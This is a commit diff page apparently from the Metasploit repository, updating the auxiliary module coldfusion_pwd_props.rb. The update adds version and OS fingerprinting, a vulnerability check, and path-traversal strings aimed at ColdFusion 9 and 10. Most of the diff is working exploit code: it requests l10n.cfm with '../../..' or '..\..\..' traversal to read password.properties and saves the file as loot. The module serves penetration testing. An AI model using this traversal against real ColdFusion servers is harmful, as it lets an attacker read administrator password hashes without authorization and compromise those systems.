Skip to content

Commit b9969a8

Browse files
committed
Landing rapid7#1855 - Updates for coldfusion_pwd_props for CF9 by ringt
2 parents e20385d + 0ecffea commit b9969a8

File tree

1 file changed

+135
-9
lines changed

1 file changed

+135
-9
lines changed

modules/auxiliary/gather/coldfusion_pwd_props.rb

Lines changed: 135 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ def initialize(info = {})
2929
'Author' =>
3030
[
3131
'HTP',
32-
'sinn3r'
32+
'sinn3r',
33+
'nebulus'
3334
],
3435
'License' => MSF_LICENSE,
3536
'Actions' =>
@@ -43,7 +44,8 @@ def initialize(info = {})
4344

4445
register_options(
4546
[
46-
Opt::RPORT(8500),
47+
Opt::RPORT(80),
48+
OptBool.new('CHECK', [false, 'Only check for vulnerability', false]),
4749
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
4850
], self.class)
4951
end
@@ -52,15 +54,140 @@ def peer
5254
"#{datastore['RHOST']}:#{datastore['RPORT']}"
5355
end
5456

57+
def fingerprint(response)
58+
59+
if(response.headers.has_key?('Server') )
60+
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
61+
os = "Windows (#{response.headers['Server']})"
62+
elsif(response.headers['Server'] =~ /Apache\//)
63+
os = "Unix (#{response.headers['Server']})"
64+
else
65+
os = response.headers['Server']
66+
end
67+
end
68+
69+
return nil if response.body.length < 100
70+
71+
title = "Not Found"
72+
response.body.gsub!(/[\r\n]/, '')
73+
if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)
74+
title = $1
75+
title.gsub!(/\s/, '')
76+
end
77+
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
78+
79+
out = nil
80+
81+
if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
82+
v = $1
83+
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"
84+
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
85+
out = "Adobe ColdFusion MX7 (Not Vulnerable)"
86+
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)
87+
out = "Adobe ColdFusion 8 (Not Vulnerable)"
88+
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
89+
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
90+
out = "Adobe ColdFusion 10"
91+
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or
92+
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
93+
out = "Adobe ColdFusion 9"
94+
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
95+
out = $1.split(/,/)[0]
96+
else
97+
out = 'Unknown ColdFusion'
98+
end
99+
100+
if(title.downcase == 'coldfusionadministrator')
101+
out << " (you have administrator access)"
102+
end
103+
104+
out << " (#{os})"
105+
file = ''
106+
trav = ''
107+
if(os =~ /Windows/ )
108+
trav = '..\..\..\..\..\..\..\..\..\..'
109+
file = (out =~ /ColdFusion 9/) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'
110+
else
111+
trav = '../../../../../../../../../..'
112+
file = (out =~ /ColdFusion 9/) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'
113+
end
114+
115+
if(response.body =~ /Adobe/ and response.body =~ /ColdFusion/ and file == '')
116+
print_error("#{peer} Fingerprint failed...aborting")
117+
print_status("response: #{response.body}")
118+
return nil,nil
119+
end
120+
121+
return out,"#{trav}#{file}"
122+
end
123+
124+
def check
125+
vuln = false
126+
url = '/CFIDE/adminapi/customtags/l10n.cfm'
127+
res = send_request_cgi({
128+
'uri' => url,
129+
'method' => 'GET',
130+
'Connection' => "keep-alive",
131+
'Accept-Encoding' => "zip,deflate",
132+
})
133+
134+
if(res != nil)
135+
# can't stack b/c res.code won't exist if res is nil
136+
vuln = true if(res.code == 500 and res.body =~ /attributes\.id was not provided/)
137+
end
138+
139+
if(vuln)
140+
url = '/CFIDE/administrator/mail/download.cfm'
141+
res = send_request_cgi({
142+
'uri' => url,
143+
'method' => 'GET',
144+
'Connection' => "keep-alive",
145+
'Accept-Encoding' => "zip,deflate",
146+
})
147+
if(res != nil)
148+
vuln = false if (res.code != 200)
149+
end
150+
end
151+
152+
return vuln
153+
end
154+
155+
55156
def run
56157
filename = ""
57-
case action.name
58-
when 'ColdFusion10'
59-
filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
60-
when 'ColdFusion9'
61-
filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
158+
159+
url = '/CFIDE/administrator/index.cfm'
160+
# print_status("Getting index...")
161+
res = send_request_cgi({
162+
'uri' => url,
163+
'method' => 'GET',
164+
'Connection' => "keep-alive",
165+
'Accept-Encoding' => "zip,deflate",
166+
})
167+
# print_status("Got back: #{res.inspect}")
168+
return if not res
169+
return if not res.body or not res.code
170+
return if not res.code.to_i == 200
171+
172+
out, filename = fingerprint(res)
173+
print_status("#{peer} #{out}") if out
174+
175+
if(out =~ /Not Vulnerable/)
176+
print_status("#{peer} isn't vulnerable to this attack")
177+
return
62178
end
63179

180+
if(not check)
181+
print_status("#{peer} can't be exploited (either files missing or permissions block access)")
182+
return
183+
end
184+
185+
if (datastore['CHECK'] )
186+
print_good("#{peer} is vulnerable and most likely exploitable") if check
187+
return
188+
end
189+
190+
64191
res = send_request_cgi({
65192
'method' => 'GET',
66193
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
@@ -102,5 +229,4 @@ def run
102229
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
103230
print_good("#{peer} - password.properties stored in '#{p}'")
104231
end
105-
106-
end
232+
end

0 commit comments

Comments
 (0)